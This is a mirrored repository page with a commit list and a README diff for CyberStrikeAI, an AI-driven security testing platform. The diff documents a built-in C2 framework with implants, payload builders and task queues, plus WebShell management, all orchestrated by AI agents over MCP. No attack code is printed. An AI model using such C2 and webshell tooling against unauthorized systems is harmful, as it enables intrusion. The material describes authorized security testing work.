mirror of
https://github.com/Ed1s0nZ/CyberStrikeAI.git
synced 2026-06-06 14:23:57 +02:00
Compare commits
341 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 0d9eebffe6 | |||
| 403d4421d2 | |||
| e606369e31 | |||
| da8fdafe59 | |||
| 0492365430 | |||
| 3a6bc60276 | |||
| 3a401ade68 | |||
| 71aade5bd9 | |||
| a5f11cc003 | |||
| dcea95968b | |||
| 7db0294d5c | |||
| b4d85c5a77 | |||
| fcbc7b9226 | |||
| b8b1e8431b | |||
| 203a99bed4 | |||
| 449781c029 | |||
| 924f59015d | |||
| f0fb634a6b | |||
| b8dfb9556a | |||
| 9c1d3ae85e | |||
| b8ebf023a0 | |||
| 604ce34d5e | |||
| b29b36bfd5 | |||
| 11bab83fc5 | |||
| dc750e3680 | |||
| 0236d1c155 | |||
| be59ddcab6 | |||
| 25464a68e6 | |||
| eabfed09c9 | |||
| cbcbd414cd | |||
| 0933f9365b | |||
| e792891ff3 | |||
| e14e5f15d3 | |||
| 4d5e0c5f21 | |||
| b3238304ce | |||
| 665e2ec73a | |||
| d63d9c25b8 | |||
| d1c63d0ba7 | |||
| 55d6d449cd | |||
| d4bc9646d9 | |||
| b941f5a8d9 | |||
| 97e2c0fd43 | |||
| bd3e48c2d0 | |||
| 8b0b91fddc | |||
| 2b38595b42 | |||
| 5c795439ee | |||
| df531910cf | |||
| 8a089a826c | |||
| 60b32ffc69 | |||
| 21c36fcce8 | |||
| 4d048f6da0 | |||
| 03a2707b83 | |||
| 9941f51b3e | |||
| 1553e896c5 | |||
| ea2184773e | |||
| 764d8110ec | |||
| e037f383f5 | |||
| e40f7cb468 | |||
| 72aca69204 | |||
| 133da1c640 | |||
| af78b47517 | |||
| f5fabc05a4 | |||
| 5cc53b1076 | |||
| f1be2064db | |||
| 0c9c2ec606 | |||
| cf09dd36d8 | |||
| c6e2701b30 | |||
| 42b5901d99 | |||
| 117bed6839 | |||
| bad323cd0e | |||
| 8138f8b576 | |||
| 74627d214b | |||
| f622efe245 | |||
| 3924b5285b | |||
| 21f641bbd7 | |||
| d913695303 | |||
| 6bb3a73f73 | |||
| f0a80a8e58 | |||
| 3f9dbb4214 | |||
| c0f0861b31 | |||
| 704137aa34 | |||
| c56bf36df0 | |||
| 5560f34c6c | |||
| 70e9a73fc0 | |||
| 12bc9d8ab6 | |||
| f8db82a065 | |||
| 8ce30d9072 | |||
| e6506d00e8 | |||
| b2308617b8 | |||
| cd17fdca33 | |||
| 1acaccd09f | |||
| 983fe650c1 | |||
| 52d03dc849 | |||
| 9de72d9ad5 | |||
| d95275ffae | |||
| 6cef93dbb7 | |||
| dd3b1ae219 | |||
| f42209682a | |||
| 1b1aed1699 | |||
| 44ced98863 | |||
| 97834c162e | |||
| 9276f2f144 | |||
| a454cada6a | |||
| 99b53d4fbc | |||
| a43a9deaea | |||
| ce88da84c9 | |||
| 15855c7073 | |||
| 43eb3e546b | |||
| 2d52c9b6ac | |||
| d5401b8b4c | |||
| 5fd4393a2e | |||
| a049f6b5c2 | |||
| acba8e5a39 | |||
| f826b91362 | |||
| 98c2de2a60 | |||
| 1c4d4b305b | |||
| f210ac9a03 | |||
| 6685076dfb | |||
| 7f322653f6 | |||
| 66ac2f1357 | |||
| c446e22d0c | |||
| 0358d3a67d | |||
| 9b82f265fd | |||
| 3d9cae58e4 | |||
| 1f1eadee5e | |||
| 0569255189 | |||
| 8ccf90d067 | |||
| b3be89f47d | |||
| b9bf8f62d4 | |||
| 05ca0c1480 | |||
| 47a4f3fc5b | |||
| a3b378ae9e | |||
| a904d26e78 | |||
| 7ba7476c4f | |||
| ae25a243ac | |||
| 23bd6288ff | |||
| fef21d3a24 | |||
| 933bba4517 | |||
| e1d65437cc | |||
| 9325aed1eb | |||
| dee2b3ab42 | |||
| a69bc93fa1 | |||
| b1a620bfce | |||
| 61b164eec2 | |||
| ba77e1837e | |||
| eacad60fd6 | |||
| 70bf5c93bf | |||
| 08bd278d8c | |||
| 22746d64a3 | |||
| 199392a5d5 | |||
| aafb4cb584 | |||
| 96e3dd397c | |||
| ec0f17145b | |||
| ed53da0999 | |||
| dc440fc511 | |||
| 009ae59033 | |||
| f348b3245a | |||
| 0018c5219c | |||
| 01a3e3677a | |||
| a12ecdb46f | |||
| 9f59230d74 | |||
| 085c6a1c72 | |||
| 7b3860971f | |||
| f6f7b7b237 | |||
| d5cf4b3b16 | |||
| 3e58d8355b | |||
| eb01ade63b | |||
| d1dc15fa44 | |||
| 73a39ef868 | |||
| a022baef03 | |||
| 59312d428e | |||
| 951d14ef14 | |||
| 0eb22da6e9 | |||
| 5fd9ef0514 | |||
| 9a4f3c7d35 | |||
| ead2ce3ecc | |||
| 8733f3a2d2 | |||
| 8642f3ba31 | |||
| 6a262a7367 | |||
| eb9192ddb3 | |||
| 5587e75628 | |||
| 74bbb453e2 | |||
| 66842f6206 | |||
| dc1779275d | |||
| 10dff937b1 | |||
| d4e1fe3bbe | |||
| 179976ae57 | |||
| 1c758bb98c | |||
| 17c4f38ee3 | |||
| cd7e57d121 | |||
| 0f2c3f65cc | |||
| 7779666e27 | |||
| c74bd4403b | |||
| 04d23ddb43 | |||
| 0874e84393 | |||
| 57f57f30b1 | |||
| f37d613a0c | |||
| 87d0ff9154 | |||
| b3418f39b8 | |||
| f9e1ca0e2d | |||
| 2c45879669 | |||
| 1cdcfa2c2d | |||
| eab5b73846 | |||
| d961ba1ec7 | |||
| 1ba5e57ec6 | |||
| 1216d25f96 | |||
| fde693408e | |||
| 352a81a869 | |||
| b2562b1010 | |||
| 0d8ba51087 | |||
| 0b847fcea3 | |||
| bf2f49fe62 | |||
| 75e64b1a86 | |||
| 2167735022 | |||
| 4ee292cc1f | |||
| 961205940f | |||
| ffe797bd06 | |||
| b6c864547e | |||
| da369c2edc | |||
| 54dc31a616 | |||
| 9e0b985221 | |||
| eb47077082 | |||
| f9a482857d | |||
| 679a68b12f | |||
| 840a26c7ef | |||
| 030e69c02d | |||
| d9683cdb44 | |||
| 60a063dd7d | |||
| 5f0c1805a7 | |||
| cb7e66001b | |||
| 4ea838f1d7 | |||
| 573648fc4b | |||
| f0e090abea | |||
| 549dcf518c | |||
| c74e20c54a | |||
| c94a9fd9e9 | |||
| ce9749a8ef | |||
| 145da12017 | |||
| 5111f4c311 | |||
| 8f6384a083 | |||
| 762f778e1e | |||
| 4a11ba8f14 | |||
| 86090af4df | |||
| 2dea6e36bd | |||
| 38ce695708 | |||
| 41fe90faa3 | |||
| 9f54bdb1bf | |||
| 08e727aa41 | |||
| 176c17d630 | |||
| 62710f6619 | |||
| e4dbb96b3e | |||
| 832532213a | |||
| eb04ac0c3a | |||
| 1946508325 | |||
| 89d1c5124f | |||
| 1e7a3299a5 | |||
| cae3a77331 | |||
| 2e1e57ce27 | |||
| 45b6ed2847 | |||
| 88eadf13a4 | |||
| dca5666b18 | |||
| e5d52cdf85 | |||
| 65e48826ff | |||
| 0cff507272 | |||
| 30afd71c05 | |||
| d2b6a154de | |||
| 278d5aa25c | |||
| 215f5a4a93 | |||
| 44185d748d | |||
| fe47f1f058 | |||
| 99ce183f41 | |||
| 2ed1947f36 | |||
| 97f3e8c179 | |||
| 38b0c31b87 | |||
| cb839da4d1 | |||
| 5ed730f17c | |||
| 30b1e5f820 | |||
| 8e5c70703e | |||
| 3cc3b25a7b | |||
| 44cf63fa52 | |||
| 12057c065b | |||
| c4e0b9735c | |||
| 218e9b9880 | |||
| 82d840966e | |||
| c62ff3bde9 | |||
| df2506b651 | |||
| efe9172f85 | |||
| b788bc6dab | |||
| 9134f2bbcb | |||
| d76cf2a162 | |||
| 2f96feb98f | |||
| a374c3950c | |||
| a93e3455fa | |||
| 6cd864c5ca | |||
| e34faff001 | |||
| fa09796ddd | |||
| 1ab7e98f56 | |||
| 0743086873 | |||
| a1ceb9c108 | |||
| 9ddea33dab | |||
| e948940b18 | |||
| 94bbbf87bf | |||
| 4f09ffbaaa | |||
| 6d77081b2b | |||
| 99ccb07ec9 | |||
| 1130fdbfa4 | |||
| 84f4da4d1d | |||
| 34dae98329 | |||
| 3ee7d64b09 | |||
| 22a3aa1531 | |||
| 8ad61906fa | |||
| 487522707f | |||
| fe625010eb | |||
| 40cd0293b5 | |||
| b62dc1f326 | |||
| 6d180c814d | |||
| e68d3a3d23 | |||
| 699b9181e6 | |||
| 7b9070f106 | |||
| 5a31b69245 | |||
| 104a6e30d5 | |||
| 80c4299dbb | |||
| debe967272 | |||
| b28f9c25f8 | |||
| 6f5d0b0174 | |||
| 231a48db8e | |||
| d82ea60827 | |||
| 24a0c813e2 | |||
| 24938f92ff | |||
| b24bc63964 | |||
| 60517fff44 | |||
| d2635eeb9c | |||
| 57ebc7c04b | |||
| b27e443d37 | |||
| 9b4c6dedc8 | |||
| d603060511 | |||
| ad86623dc1 | |||
| 8185539f33 | |||
| 8158b38f48 | |||
| 4fca4a85c2 | |||
| 62c6f3f191 |
@@ -27,7 +27,7 @@ If CyberStrikeAI helps you, you can support the project via **WeChat Pay** or **
|
||||
|
||||
</details>
|
||||
|
||||
CyberStrikeAI is an **AI-native security testing platform** built in Go. It integrates 100+ security tools, an intelligent orchestration engine, role-based testing with predefined security roles, a skills system with specialized testing skills, and comprehensive lifecycle management capabilities. Through native MCP protocol and AI agents, it enables end-to-end automation from conversational commands to vulnerability discovery, attack-chain analysis, knowledge retrieval, and result visualization—delivering an auditable, traceable, and collaborative testing environment for security teams.
|
||||
CyberStrikeAI is an **AI-native security testing platform** built in Go. It integrates 100+ security tools, an intelligent orchestration engine, role-based testing with predefined security roles, a skills system with specialized testing skills, comprehensive lifecycle management capabilities, and a **built-in lightweight C2 (Command & Control) framework** for **authorized** engagements (listeners, encrypted implants, sessions, tasks, real-time events, REST and MCP). Through native MCP protocol and AI agents, it enables end-to-end automation from conversational commands to vulnerability discovery, attack-chain analysis, knowledge retrieval, and result visualization—delivering an auditable, traceable, and collaborative testing environment for security teams.
|
||||
|
||||
|
||||
## Interface & Integration Preview
|
||||
@@ -113,14 +113,17 @@ CyberStrikeAI is an **AI-native security testing platform** built in Go. It inte
|
||||
- 🔒 Password-protected web UI, audit logs, and SQLite persistence
|
||||
- 📚 Knowledge base (RAG) with embedding-based vector retrieval (cosine similarity), optional **Eino Compose** indexing pipeline, and configurable post-retrieval budgets / reranking hooks
|
||||
- 📁 Conversation grouping with pinning, rename, and batch management
|
||||
- 📂 **Project management**: group conversations and vulnerabilities by project; **shared facts** (project blackboard) persist cross-session context (targets, env, auth notes) with auto-injection for agents and MCP tools (`upsert_project_fact`, `get_project_fact`, …)
|
||||
- 🛡️ Vulnerability management with CRUD operations, severity tracking, status workflow, and statistics
|
||||
- 📋 Batch task management: create task queues, add multiple tasks, and execute them sequentially
|
||||
- 🎭 Role-based testing: predefined security testing roles (Penetration Testing, CTF, Web App Scanning, etc.) with custom prompts and tool restrictions
|
||||
- 🧩 **Multi-agent (CloudWeGo Eino)**: alongside **single-agent ReAct** (`/api/agent-loop`), **multi mode** (`/api/multi-agent/stream`) offers **`deep`** (coordinator + `task` sub-agents), **`plan_execute`** (planner / executor / replanner), and **`supervisor`** (orchestrator + `transfer` / `exit`); chosen per request via **`orchestration`**. Markdown under `agents/`: `orchestrator.md` (Deep), `orchestrator-plan-execute.md`, `orchestrator-supervisor.md`, plus sub-agent `*.md` where applicable (see [Multi-agent doc](docs/MULTI_AGENT_EINO.md))
|
||||
- 🧩 **Agent orchestration (CloudWeGo Eino)**: **single-agent** via **`/api/eino-agent/stream`** (Eino ADK `ChatModelAgent`); **multi-agent** via **`/api/multi-agent/stream`** with **`deep`** (coordinator + `task` sub-agents), **`plan_execute`**, or **`supervisor`** (`orchestration` in the request body). Markdown under `agents/`: `orchestrator.md`, `orchestrator-plan-execute.md`, `orchestrator-supervisor.md`, plus sub-agent `*.md` (see [Multi-agent doc](docs/MULTI_AGENT_EINO.md))
|
||||
- 🖼️ **Vision analysis (`analyze_image`)**: separate VL model (e.g. `qwen-vl-max`) via MCP for local screenshots, captchas, and UI; image bytes stay out of agent history (text summaries only). Configure `vision` in `config.yaml`; see [docs/VISION.md](docs/VISION.md)
|
||||
- 🎯 **Skills (refactored for Eino)**: packs under `skills_dir` follow **Agent Skills** layout (`SKILL.md` + optional files); **multi-agent** sessions use the official Eino ADK **`skill`** tool for **progressive disclosure** (load by name), with optional **host filesystem / shell** via `multi_agent.eino_skills`; optional **`eino_middleware`** adds patchtoolcalls, tool_search, plantask, reduction, checkpoints, and Deep tuning—20+ sample domains (SQLi, XSS, API security, …) ship under `skills/`
|
||||
- 📱 **Chatbot**: DingTalk and Lark (Feishu) long-lived connections so you can talk to CyberStrikeAI from mobile (see [Robot / Chatbot guide](docs/robot_en.md) for setup and commands)
|
||||
- 🧑⚖️ **Human-in-the-loop (HITL)**: Chat sidebar to set approval mode and tool allowlists (listed tools skip approval); global list in `config.yaml` under `hitl.tool_whitelist`; **Apply** can merge new tools into the file and update the running server without restart; dedicated **HITL** page for pending approvals
|
||||
- 🐚 **WebShell management**: Add and manage WebShell connections (e.g. IceSword/AntSword compatible), use a virtual terminal for command execution, a built-in file manager for file operations, and an AI assistant tab that orchestrates tests and keeps per-connection conversation history; supports PHP, ASP, ASPX, JSP and custom shell types with configurable request method and command parameter.
|
||||
- 📡 **Built-in C2**: AI-oriented lightweight command-and-control—**listeners** (TCP reverse, HTTP/HTTPS beacon, WebSocket), **encrypted** beacon channel, **session** and **task** queues with persistence, **payload** helpers (one-liner / build / download), **SSE** live events, REST under `/api/c2/*`, plus unified MCP tools (`c2_listener`, `c2_session`, **`c2_task`**, `c2_task_manage`, `c2_payload`, `c2_event`, `c2_profile`, `c2_file`); optional **HITL** approval for sensitive operations and OPSEC-style controls (e.g. command deny rules). **Authorized testing only.**
|
||||
|
||||
## Plugins
|
||||
|
||||
@@ -173,9 +176,11 @@ The `run.sh` script will automatically:
|
||||
- ✅ Build the project
|
||||
- ✅ Start the server
|
||||
|
||||
**Networking defaults:** `run.sh` starts the server with **`--https`** and the repo **`config.yaml`** (local self-signed TLS; better for many concurrent streams). Use **`./run.sh --http`** for plain HTTP. In production, set **`server.tls_cert_path`** / **`server.tls_key_path`** in **`config.yaml`** (see comments there). For manual runs, add **`--https`** or **`CYBERSTRIKE_HTTPS=1`**; if **`-config`** is wrong, the binary prints a short usage hint on stderr.
|
||||
|
||||
**First-Time Configuration:**
|
||||
1. **Configure OpenAI-compatible API** (required before first use)
|
||||
- Open http://localhost:8080 after launch
|
||||
- After launch, open **`https://127.0.0.1:8080/`** (or **`https://localhost:8080/`**; replace **8080** with `server.port` in `config.yaml`) and accept the self-signed certificate warning once. If you used `./run.sh --http`, use **`http://`** instead.
|
||||
- Go to `Settings` → Fill in your API credentials:
|
||||
```yaml
|
||||
openai:
|
||||
@@ -196,21 +201,23 @@ The `run.sh` script will automatically:
|
||||
|
||||
**Alternative Launch Methods:**
|
||||
```bash
|
||||
# Direct Go run (requires manual setup)
|
||||
go run cmd/server/main.go
|
||||
# Direct Go run (set up env yourself); add --https to match run.sh defaults
|
||||
go run cmd/server/main.go --https
|
||||
|
||||
# Manual build
|
||||
go build -o cyberstrike-ai cmd/server/main.go
|
||||
./cyberstrike-ai
|
||||
./cyberstrike-ai --https
|
||||
```
|
||||
|
||||
If server logs show `client sent an HTTP request to an HTTPS server`, a client is still using **`http://`** on a TLS-only port—switch the URL to **`https://`**.
|
||||
|
||||
**Note:** The Python virtual environment (`venv/`) is automatically created and managed by `run.sh`. Tools that require Python (like `api-fuzzer`, `http-framework-test`, etc.) will automatically use this environment.
|
||||
|
||||
### Version Update (No Breaking Changes)
|
||||
|
||||
**CyberStrikeAI one-click upgrade (recommended):**
|
||||
1. (First time) enable the script: `chmod +x upgrade.sh`
|
||||
2. Upgrade with: `./upgrade.sh` (optional flags: `--tag vX.Y.Z`, `--no-venv`, `--preserve-custom`, `--yes`)
|
||||
2. Upgrade with: `./upgrade.sh` (optional flags: `--tag vX.Y.Z`, `--no-venv`, `--yes`). Local `tools/`, `roles/`, and `skills/` are always preserved.
|
||||
3. The script will back up your `config.yaml` and `data/`, upgrade the code from GitHub Release, update `config.yaml`'s `version`, then restart the server.
|
||||
|
||||
Recommended one-liner:
|
||||
@@ -229,7 +236,7 @@ Requirements / tips:
|
||||
|
||||
### Core Workflows
|
||||
- **Conversation testing** – Natural-language prompts trigger toolchains with streaming SSE output.
|
||||
- **Single vs multi-agent** – With `multi_agent.enabled: true`, the chat UI can switch between **single** (classic **ReAct** loop, `/api/agent-loop/stream`) and **multi** (`/api/multi-agent/stream`). Multi mode keeps **`deep`** as the baseline coordinator + **`task`** sub-agents, and adds **`plan_execute`** and **`supervisor`** orchestrations via the request body **`orchestration`** field. MCP tools are bridged the same way as single-agent.
|
||||
- **Single vs multi-agent** – Chat UI switches between **Eino single-agent** (`/api/eino-agent/stream`) and **multi-agent** (`/api/multi-agent/stream` with `orchestration`: `deep` | `plan_execute` | `supervisor`). Multi mode requires `multi_agent.enabled: true`. MCP tools are bridged the same way for both paths.
|
||||
- **Role-based testing** – Select from predefined security testing roles (Penetration Testing, CTF, Web App Scanning, API Security Testing, etc.) to customize AI behavior and tool availability. Each role applies custom system prompts and can restrict available tools for focused testing scenarios.
|
||||
- **Tool monitor** – Inspect running jobs, execution logs, and large-result attachments.
|
||||
- **History & audit** – Every conversation and tool invocation is stored in SQLite with replay.
|
||||
@@ -237,6 +244,7 @@ Requirements / tips:
|
||||
- **Vulnerability management** – Create, update, and track vulnerabilities discovered during testing. Filter by severity (critical/high/medium/low/info), status (open/confirmed/fixed/false_positive), and conversation. View statistics and export findings.
|
||||
- **Batch task management** – Create task queues with multiple tasks, add or edit tasks before execution, and run them sequentially. Each task executes as a separate conversation, with status tracking (pending/running/completed/failed/cancelled) and full execution history.
|
||||
- **WebShell management** – Add and manage WebShell connections (PHP/ASP/ASPX/JSP or custom). Use the virtual terminal to run commands, the file manager to list, read, edit, upload, and delete files, and the AI assistant tab to drive scripted tests with per-connection conversation history. Connections are stored in SQLite; supports GET/POST and configurable command parameter (e.g. IceSword/AntSword style).
|
||||
- **Built-in C2** – Create/start **listeners**, generate **payloads**, track **sessions**, enqueue **tasks**, and subscribe to **events** (SSE) from the Web UI or `/api/c2/*`. Agents and external clients use the C2 MCP tool family (including **`c2_task`**); when HITL is enabled, high-risk tasks can require human approval. Intended **only** for systems you are explicitly authorized to test.
|
||||
- **Settings** – Tweak provider keys, MCP enablement, tool toggles, and agent iteration limits.
|
||||
- **Human-in-the-loop (HITL)** – Sidebar sets mode and allowlisted tools (comma- or newline-separated); global list lives in `config.yaml` under `hitl.tool_whitelist`. **Apply** updates browser/server and can merge new tools into the file (**no restart**). **New chat** keeps sidebar choices; **HITL** nav shows pending approvals. Removing a tool in the sidebar does not remove it from the global list in `config.yaml`—edit the file if needed.
|
||||
|
||||
@@ -252,7 +260,7 @@ Requirements / tips:
|
||||
- **Predefined roles** – System includes 12+ predefined security testing roles (Penetration Testing, CTF, Web App Scanning, API Security Testing, Binary Analysis, Cloud Security Audit, etc.) in the `roles/` directory.
|
||||
- **Custom prompts** – Each role can define a `user_prompt` that prepends to user messages, guiding the AI to adopt specialized testing methodologies and focus areas.
|
||||
- **Tool restrictions** – Roles can specify a `tools` list to limit available tools, ensuring focused testing workflows (e.g., CTF role restricts to CTF-specific utilities).
|
||||
- **Skills** – Skill packs live under `skills_dir` and are loaded in **multi-agent / Eino** sessions via the ADK **`skill`** tool (**progressive disclosure**). Configure **`multi_agent.eino_skills`** for middleware, tool name override, and optional host **read_file / glob / grep / write / edit / execute** (**Deep / Supervisor** when enabled; **plan_execute** differs—see docs). Single-agent ReAct does not mount this Eino skill stack today.
|
||||
- **Skills** – Skill packs live under `skills_dir` and load via the Eino ADK **`skill`** tool (**progressive disclosure**) in both **single- and multi-agent** sessions when **`multi_agent.eino_skills`** is enabled. Optional host **read_file / glob / grep / write / edit / execute** and **`eino_middleware`** (tool_search, reduction, checkpoints, etc.) apply per mode—see docs.
|
||||
- **Easy role creation** – Create custom roles by adding YAML files to the `roles/` directory. Each role defines `name`, `description`, `user_prompt`, `icon`, `tools`, and `enabled` fields.
|
||||
- **Web UI integration** – Select roles from a dropdown in the chat interface. Role selection affects both AI behavior and available tool suggestions.
|
||||
|
||||
@@ -272,14 +280,14 @@ Requirements / tips:
|
||||
2. Restart the server or reload configuration; the role appears in the role selector dropdown.
|
||||
|
||||
### Multi-Agent Mode (Eino: Deep, Plan-Execute, Supervisor)
|
||||
- **What it is** – An optional execution path beside **single-agent ReAct**, built on CloudWeGo **Eino** `adk/prebuilt`: **`deep`** — coordinator + **`task`** sub-agents; **`plan_execute`** — planner / executor / replanner loop (no YAML/Markdown sub-agent list); **`supervisor`** — orchestrator with **`transfer`** and **`exit`** over Markdown-defined specialists. The client sends **`orchestration`**: `deep` | `plan_execute` | `supervisor` (default `deep`).
|
||||
- **What it is** – Multi-agent orchestration on CloudWeGo **Eino** `adk/prebuilt` (alongside **Eino single-agent** on `/api/eino-agent*`): **`deep`** — coordinator + **`task`** sub-agents; **`plan_execute`** — planner / executor / replanner; **`supervisor`** — orchestrator with **`transfer`** / **`exit`**. Client sends **`orchestration`**: `deep` | `plan_execute` | `supervisor` (default `deep`).
|
||||
- **Markdown agents** – Under `agents_dir` (default `agents/`):
|
||||
- **Deep orchestrator**: `orchestrator.md` *or* one `.md` with `kind: orchestrator`. Body or `multi_agent.orchestrator_instruction`, then Eino defaults.
|
||||
- **Plan-Execute orchestrator**: fixed name **`orchestrator-plan-execute.md`** (plus optional `orchestrator_instruction_plan_execute` in YAML).
|
||||
- **Supervisor orchestrator**: fixed name **`orchestrator-supervisor.md`** (plus optional `orchestrator_instruction_supervisor`); requires at least one sub-agent.
|
||||
- **Sub-agents** (for **deep** / **supervisor**): other `*.md` files (YAML front matter + body). Not used as **`task`** targets if marked orchestrator-only.
|
||||
- **Management** – Web UI: **Agents → Agent management**; API `/api/multi-agent/markdown-agents`.
|
||||
- **Config** – `multi_agent` in `config.yaml`: `enabled`, `default_mode`, `robot_use_multi_agent`, `batch_use_multi_agent`, `max_iteration`, `plan_execute_loop_max_iterations`, per-mode orchestrator instruction fields, optional YAML `sub_agents` merged with disk (`id` clash → Markdown wins), **`eino_skills`**, **`eino_middleware`** (optional ADK middleware and Deep/Supervisor tuning).
|
||||
- **Config** – `multi_agent` in `config.yaml`: `enabled`, `robot_default_agent_mode`, `batch_use_multi_agent`, `max_iteration`, `plan_execute_loop_max_iterations`, per-mode orchestrator instruction fields, optional YAML `sub_agents` merged with disk (`id` clash → Markdown wins), **`eino_skills`**, **`eino_middleware`** (optional ADK middleware and Deep/Supervisor tuning).
|
||||
- **Details** – **[docs/MULTI_AGENT_EINO.md](docs/MULTI_AGENT_EINO.md)** (streaming, robots, batch, middleware caveats).
|
||||
|
||||
### Skills System (Agent Skills + Eino)
|
||||
@@ -320,6 +328,12 @@ Requirements / tips:
|
||||
- **Connectivity test** – Use **Test connectivity** to verify that the shell URL, password, and command parameter are correct before running commands (sends a lightweight `echo 1` check).
|
||||
- **Persistence** – All WebShell connections and AI conversations are stored in SQLite (same database as conversations), so they persist across restarts.
|
||||
|
||||
### Built-in C2 (Command & Control)
|
||||
- **What it is** – A first-party, **AI-native** C2 stack: listeners accept implants (beacons), the server stores **sessions** and **tasks** in SQLite, pushes updates over an **event bus** (including **SSE**), and exposes everything through authenticated **REST** plus MCP.
|
||||
- **Listeners & transports** – `tcp_reverse`, `http_beacon`, `https_beacon`, and `websocket`; per-listener crypto keys; running listeners can be **restored after restart** when marked running in the database.
|
||||
- **Agent integration** – MCP exposes a small **C2 tool family** (listeners, sessions, **`c2_task`**, task management, payloads, events, profiles, files) so the same agent loop can orchestrate C2 alongside other tools; dangerous task types can go through the existing **HITL** bridge when your session policy requires it.
|
||||
- **Safety** – Use **only** in lab or **fully authorized** engagements; combine network isolation, strong auth, and HITL/allowlists as your policy demands.
|
||||
|
||||
### MCP Everywhere
|
||||
- **Web mode** – ships with HTTP MCP server automatically consumed by the UI.
|
||||
- **MCP stdio mode** – `go run cmd/mcp-stdio/main.go` exposes the agent to Cursor/CLI.
|
||||
@@ -476,6 +490,7 @@ A test SSE MCP server is available at `cmd/test-sse-mcp-server/` for validation
|
||||
- **Vulnerability APIs** – manage vulnerabilities via `/api/vulnerabilities` endpoints: `GET /api/vulnerabilities` (list with filters), `POST /api/vulnerabilities` (create), `GET /api/vulnerabilities/:id` (get), `PUT /api/vulnerabilities/:id` (update), `DELETE /api/vulnerabilities/:id` (delete), `GET /api/vulnerabilities/stats` (statistics).
|
||||
- **Batch Task APIs** – manage batch task queues via `/api/batch-tasks` endpoints: `POST /api/batch-tasks` (create queue), `GET /api/batch-tasks` (list queues), `GET /api/batch-tasks/:queueId` (get queue), `POST /api/batch-tasks/:queueId/start` (start execution), `POST /api/batch-tasks/:queueId/cancel` (cancel), `DELETE /api/batch-tasks/:queueId` (delete), `POST /api/batch-tasks/:queueId/tasks` (add task), `PUT /api/batch-tasks/:queueId/tasks/:taskId` (update task), `DELETE /api/batch-tasks/:queueId/tasks/:taskId` (delete task). Tasks execute sequentially, each creating a separate conversation with full status tracking.
|
||||
- **WebShell APIs** – manage WebShell connections and execute commands via `/api/webshell/connections` (GET list, POST create, PUT update, DELETE delete) and `/api/webshell/exec` (command execution), `/api/webshell/fileop` (list/read/write/delete files).
|
||||
- **C2 APIs** – manage listeners, sessions, tasks, payloads, files, and events under `/api/c2/*` (e.g. listeners CRUD/start/stop, session sleep, task create/cancel/wait, payload build/download, event stream).
|
||||
- **Task control** – pause/resume/stop long scans, re-run steps with new params, or stream transcripts.
|
||||
- **Audit & security** – rotate passwords via `/api/auth/change-password`, enforce short-lived sessions, and restrict MCP ports at the network layer when exposing the service.
|
||||
|
||||
@@ -522,8 +537,8 @@ skills_dir: "skills" # Skills directory (relative to config file)
|
||||
agents_dir: "agents" # Multi-agent Markdown definitions (orchestrator + sub-agents)
|
||||
multi_agent:
|
||||
enabled: false
|
||||
default_mode: "single" # single | multi (UI default when multi-agent is enabled)
|
||||
robot_use_multi_agent: false
|
||||
default_mode: "eino_single" # eino_single | multi (UI default when multi-agent is enabled)
|
||||
robot_default_agent_mode: eino_single
|
||||
batch_use_multi_agent: false
|
||||
orchestrator_instruction: "" # Deep; used when orchestrator.md body is empty
|
||||
# orchestrator_instruction_plan_execute / orchestrator_instruction_supervisor optional
|
||||
@@ -581,7 +596,7 @@ enabled: true
|
||||
```
|
||||
CyberStrikeAI/
|
||||
├── cmd/ # Server, MCP stdio entrypoints, tooling
|
||||
├── internal/ # Agent, MCP core, handlers, security executor
|
||||
├── internal/ # Agent, MCP core, handlers, C2 (`internal/c2`), security executor
|
||||
├── web/ # Static SPA + templates
|
||||
├── tools/ # YAML tool recipes (100+ examples provided)
|
||||
├── roles/ # Role configurations (12+ predefined security testing roles)
|
||||
|
||||
+29
-14
@@ -26,7 +26,7 @@
|
||||
|
||||
</details>
|
||||
|
||||
CyberStrikeAI 是一款 **AI 原生安全测试平台**,基于 Go 构建,集成了 100+ 安全工具、智能编排引擎、角色化测试与预设安全测试角色、Skills 技能系统与专业测试技能,以及完整的测试生命周期管理能力。通过原生 MCP 协议与 AI 智能体,支持从对话指令到漏洞发现、攻击链分析、知识检索与结果可视化的全流程自动化,为安全团队提供可审计、可追溯、可协作的专业测试环境。
|
||||
CyberStrikeAI 是一款 **AI 原生安全测试平台**,基于 Go 构建,集成了 100+ 安全工具、智能编排引擎、角色化测试与预设安全测试角色、Skills 技能系统与专业测试技能、完整的测试生命周期管理能力,以及面向 **授权场景** 的 **内置轻量 C2(Command & Control,指挥与控制)** 能力(监听器、加密通信、会话与任务、实时事件、REST 与 MCP 协同)。通过原生 MCP 协议与 AI 智能体,支持从对话指令到漏洞发现、攻击链分析、知识检索与结果可视化的全流程自动化,为安全团队提供可审计、可追溯、可协作的专业测试环境。
|
||||
|
||||
|
||||
## 界面与集成预览
|
||||
@@ -112,14 +112,17 @@ CyberStrikeAI 是一款 **AI 原生安全测试平台**,基于 Go 构建,集
|
||||
- 🔒 Web 登录保护、审计日志、SQLite 持久化
|
||||
- 📚 知识库(RAG):向量嵌入与余弦相似度检索(与 Eino `retriever.Retriever` 语义一致),可选 **Eino Compose** 索引流水线及检索后处理(预算、重排等配置项)
|
||||
- 📁 对话分组管理:支持分组创建、置顶、重命名、删除等操作
|
||||
- 📂 **项目管理**:按项目归类对话与漏洞;**共享事实**(项目黑板)在多会话间沉淀目标/环境/认证等认知,自动注入 Agent 上下文,支持 MCP 工具读写(`upsert_project_fact`、`get_project_fact` 等)
|
||||
- 🛡️ 漏洞管理功能:完整的漏洞 CRUD 操作,支持严重程度分级、状态流转、按对话/严重程度/状态过滤,以及统计看板
|
||||
- 📋 批量任务管理:创建任务队列,批量添加任务,依次顺序执行,支持任务编辑与状态跟踪
|
||||
- 🎭 角色化测试:预设安全测试角色(渗透测试、CTF、Web 应用扫描等),支持自定义提示词和工具限制
|
||||
- 🧩 **多代理(CloudWeGo Eino)**:在 **单代理 ReAct**(`/api/agent-loop`)之外,**多代理**(`/api/multi-agent/stream`)提供 **`deep`**(协调主代理 + `task` 子代理)、**`plan_execute`**(规划 / 执行 / 重规划)、**`supervisor`**(主代理 `transfer` / `exit` 监督子代理);由请求体 **`orchestration`** 选择。`agents/` 下分模式主代理:`orchestrator.md`(Deep)、`orchestrator-plan-execute.md`、`orchestrator-supervisor.md`,及适用的子代理 `*.md`(详见 [多代理说明](docs/MULTI_AGENT_EINO.md))
|
||||
